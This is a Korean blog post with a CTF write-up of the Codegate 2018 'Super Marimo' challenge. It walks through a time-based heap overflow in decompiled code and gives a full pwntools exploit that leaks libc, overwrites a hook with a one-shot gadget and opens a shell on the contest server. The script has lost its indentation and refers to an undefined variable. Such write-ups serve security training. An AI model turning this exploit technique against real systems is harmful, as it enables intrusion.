y0u_bat

Codegate2018 - Super Marimo 본문

System/[CTF]

Codegate2018 - Super Marimo

유뱃 2018. 2. 10. 19:07

Super Marimo

간단한 힙오버플로우 취약점 입니다.익스 코드 정리 안되어있는건 양해 부탁드립니당!

Mitigation

ihaechan@ubuntu:~/Desktop$ ./pwnable/checksec.sh --file ./marimo
RELRO           STACK CANARY     NX           PIE             RPATH     RUNPATH     FILE
Partial RELRO   Canary found     NX enabled   No PIE         No RPATH   No RUNPATH   ./marimo
ihaechan@ubuntu:~/Desktop$

Vulnerability

_BYTE *__fastcall sub_400EED(__int64 a1, unsigned int a2, unsigned int a3)
{
 unsigned __int64 v3; // ST00_8
 int v4; // ST04_4

 v3 = __PAIR__(a2, a3);
 *a1 = time(0LL);
 *(a1 + 4) = a2;
 *(a1 + 8) = malloc(0x10uLL);
 puts("What's your new marimo's name? (0x10)");
 printf(">> ", v3);
 fflush(stdout);
 __isoc99_scanf("%16s", *(a1 + 8));
 *(a1 + 16) = malloc(0x20 * v4); // alloc
 printf("write %s's profile. (0x%X)\n", *(a1 + 8), (32 * v4));
 fflush(stdout);
 printf(">> ");
 fflush(stdout);
 return write_400FF9(*(a1 + 16), 0x20 * v4);  // write
}

show me the marimo를 입력하면 저렇게 할당하고 write 함수로 거기에 입력을 합니다.


unsigned __int64 __fastcall sub_400BD2(unsigned int *a1)
{
 unsigned int c_time; // ST18_4
 unsigned int v3; // [rsp+1Ch] [rbp-24h]
 char v4; // [rsp+20h] [rbp-20h]
 unsigned __int64 v5; // [rsp+38h] [rbp-8h]

 v5 = __readfsqword(0x28u);
 puts(&byte_4014F4);
 printf("birth : %d\n", *a1);
 c_time = time(0LL);
 printf("current time : %d\n", c_time);
 v3 = c_time + a1[1] - *a1;                    // c_time + 1 - p_time
 printf("size : %d\n", v3);
 printf("price : %d\n", 5 * v3);
 printf("name : %s\n", *(a1 + 1));
 printf("profile : %s\n", *(a1 + 2));
 puts(&byte_4014F4);
 puts("[M]odify / [B]ack ?");
 printf(">> ");
 fflush(stdout);
 __isoc99_scanf("%19s", &v4);
 if ( v4 == 77 )
{
   puts("Give me new profile");
   printf(">> ", &v4);
   fflush(stdout);
   write_400FF9(*(a1 + 2), 32 * v3); // heap overflow
   sub_400BD2(a1);
}
 return __readfsqword(0x28u) ^ v5;
}

'V' 메뉴를 보면 profile을 수정 할 수 있습니다. 수정할수있는 크기는 ''현재시간+1-할당할때시간''의 크기만큼 입니다.

그러므로, 할당할때와 시간이 똑같지 않다면, heap overflow가 일어나게 됩니다.

write 하는 함수의 첫번째 인자가 *(a1+2)인데, heap overflow를 통해서 a1+2 내용을 컨트롤하여 arbitrary write 할 수 있게 됩니다. got를 one shot gadget으로 덮어서 쉘을 획득 할 수 있습니다.

Exploit


from pwn import *
#context.log_level = 'debug'


def show_me(name,profile):
s.sendline("show me the marimo")
print s.recvuntil(">>")
s.sendline(str(name))
print s.recvuntil(">>")
s.sendline(str(profile))
print s.recvuntil(">>")


def view(index,ok,new_profile,test):
libc_leak = 0
s.sendline("V")

if test == 1:
print s.recvuntil(">>")
s.sendline(str(index))
print s.recvuntil("name : ")
libc_leak = u64(s.recvuntil("\x7f")+"\x00\x00")

print s.recvuntil(">>")
s.sendline("B")
else:
print s.recvuntil(">>")
s.sendline(str(index))
print s.recvuntil(">>")

if ok == 1:
s.sendline("M")
print s.recvuntil(">>")
s.sendline(str(new_profile))
print s.recvuntil(">>")
s.sendline("B")
else:
s.sendline("B")

print s.recvuntil(">>")

return libc_leak
put_got = 0x603018
#s = process("./marimo")
s = remote("ch41l3ng3s.codegate.kr",3333)


print s.recvuntil(">>")

show_me("a"*0x10,"b"*0x20)
show_me("1"*0x10,"2"*0x20)
show_me("3"*0x10,"4"*0x20)
show_me("5"*0x10,"6"*0x20)
show_me("7"*0x10,"8"*0x20)
sleep(3)
view(0,1,"a"*0x38+p32(put_got),0)
leak = view(1,1,"a"*0x38+p32(put_got),1)
libc_base = leak-0x6f690
print "libc is " + hex(libc_base)
malloc_hook = libc_base + 0x3C4B10
system_libc = libc_base + 0xf02a4
strcmp_got = 0x603040
print "hook is " + hex(malloc_hook)
print "system is " + hex(system_hook)
view(2,1,"a"*0x38+p64(malloc_hook) + p64(malloc_hook) ,0)
view(3,1,p64(system_libc),0)
s.sendline("show me the marimo")


s.interactive()

'System > [CTF]' 카테고리의 다른 글

[XCTF] - once writeup  (0) 2018.04.12
Codegate2018 - BaskinRobins31  (0) 2018.02.10
Codegaet2018 - Melong  (0) 2018.02.10
[DEFCON 2017] mute  (0) 2017.05.08
[DEFCON 2017] Smashme  (0) 2017.05.07
Comments